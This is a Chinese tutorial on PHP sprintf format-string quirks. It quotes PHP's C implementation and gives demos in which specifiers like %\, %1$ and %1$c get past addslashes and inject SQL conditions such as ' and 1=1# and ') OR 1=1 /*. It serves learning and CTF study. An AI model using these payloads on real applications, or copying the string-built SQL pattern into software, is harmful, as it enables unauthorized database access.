PHP sprintf函数漏洞解析

前言

之前的练习题也出现过sprintf函数,一直没有抽时间出来学习一下这个函数的漏洞,今天抽空来整理一下;

基本使用

学习这个函数的漏洞,首先我们可以去php官方手册看一下这个函数的基本使用。[PHP: sprintf - Manual](https://www.php.net/manual/zh/function.sprintf.php)

sprintf(string $format , mixed $arg1,mixed $arg2, ....):String

我们可以看看sprintf()底层实现代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
switch (format[inpos]) {
case 's': {
zend_string *t;
zend_string *str = zval_get_tmp_string(tmp, &t);
php_sprintf_appendstring(&result, &outpos,ZSTR_VAL(str),width, precision, padding,alignment,ZSTR_LEN(str),0, expprec, 0);
zend_tmp_string_release(t);
break;
}
case 'd':
php_sprintf_appendint(&result, &outpos,
zval_get_long(tmp),
width, padding, alignment,
always_sign);
break;
case 'u':
php_sprintf_appenduint(&result, &outpos,
zval_get_long(tmp),
width, padding, alignment);
break;
case 'g':
case 'G':
case 'e':
case 'E':
case 'f':
case 'F':
php_sprintf_appenddouble(&result, &outpos,
zval_get_double(tmp),
width, padding, alignment,
precision, adjusting,
format[inpos], always_sign
);
break;
case 'c':
php_sprintf_appendchar(&result, &outpos,
(char) zval_get_long(tmp));
break;
case 'o':
php_sprintf_append2n(&result, &outpos,
zval_get_long(tmp),
width, padding, alignment, 3,
hexchars, expprec);
break;
case 'x':
php_sprintf_append2n(&result, &outpos,
zval_get_long(tmp),
width, padding, alignment, 4,
hexchars, expprec);
break;
case 'X':
php_sprintf_append2n(&result, &outpos,
zval_get_long(tmp),
width, padding, alignment, 4,
HEXCHARS, expprec);
break;
case 'b':
php_sprintf_append2n(&result, &outpos,
zval_get_long(tmp),
width, padding, alignment, 1,
hexchars, expprec);
break;
case '%':
php_sprintf_appendchar(&result, &outpos, '%');
break;
default:
break;
}

format它实际上只会对s、d、u、g、G、e、E、f、F、c、o、x、X、b、% 这15种模式进行匹配。

我们来看几个简单的例子:

demo1:

1
2
3
4
<?php
$test='helloworld %s';
$b=sprintf($test,"hello");
echo $b; //输出 helloworld hello

demo1.1:

1
2
3
4
<?php
$test="helloworld '%s'";
$b=sprintf($test,"hello");
echo $b; //输出helloworld 'hello'

demo2:

1
2
3
4
<?php
$test='helloworld %s';
$b=sprintf($test,"hello","world");
echo $b; //输出helloworld hello

demo2.1:

1
2
3
4
<?php
$test='helloworld %s %s';
$b=sprintf($test,"hello","world");
echo $b; //输出helloworld hello world

demo2.2:

1
2
3
4
5
<?php
$test='helloworld %s %s %s';
$b=sprintf($test,"hello","world");
echo $b; //没有输出,并产生报错:Warning: sprintf(): Too few arguments in D:\phpstudy_pro\WWW\test2.php on line 3
//注:当% 数 > arg 数 时, 要使用 %1$s 这样的占位符(数字+$+类型符),否则会报错,如果是双引号包裹,要用\转义,即 %1\$s 这样。

demo2.3:

1
2
3
4
5
6
7
8
<?php
$test='helloworld %1$s %1$s %2$s';
$b=sprintf($test,"hello","world");
echo $b; //输出helloworld hello hello world
//这里如果是""双引号来闭合,就需要转义一下。
$test2="helloworld %1\$s %1\$s %2\$s";
$d=sprintf($test2,"hello","world");
echo $d;

漏洞产生

上面说了只匹配15种类型,15个以外的类型会返回空。

demo3:

可以看到前面的%l 并未匹配到字符串,这里直接输出为空。

1
2
3
4
<?php
$test='helloworld %l %2$s %2$s';
$b=sprintf($test,"hello","world");
echo $b; //输出helloworld world world

demo4:

不使用占位符:

1
2
3
4
<?php
$sql = "select * from user where username = '%\' and 1=1#';" ;
$args = "admin" ;
echo sprintf ( $sql , $args ) ; //输出select * from user where username = '' and 1=1#';

demo5:

使用占位符:

1
2
3
4
5
6
7
8
9
<?php
$input = addslashes ("%1$' and 1=1#" );
$b = sprintf ("AND b='%s'", $input );
$sql = sprintf ("SELECT * FROM t WHERE a='%s' $b ", 'admin' );
echo $sql ;
//$input="%1$\' and 1=1#"
//$b="AND b='%1$\' and 1=1#'"
//$sql=sprintf("select * from t where a='%s' AND b='%1$\' and 1=1#'",'admin');
//处理之后得到的sql="select * from t where a='admin' AND b='' and 1=1#'"

demo6:

%c进行利用

1
2
3
4
5
<?php
$test='helloworld %1$c %s';
$input=39;
$b=sprintf($test,$input);
echo $b; //输出为helloworld ' 39
1
2
3
4
5
6
7
8
<? php
$input1 = '%1$c) OR 1 = 1 /*' ;
$input2 = 39 ; //对应的ASCII是'
$sql = "SELECT * FROM foo WHERE bar IN (' $input1 ') AND baz = %s" ;
//select * from foo where bar in ('%1$c) OR 1 = 1 /*') AND baz=%s
$sql = sprintf ( $sql , $input2 );
//此时的sql:select * from foo where bar in ('') OR 1 = 1 /*') AND baz=39
echo $sql ;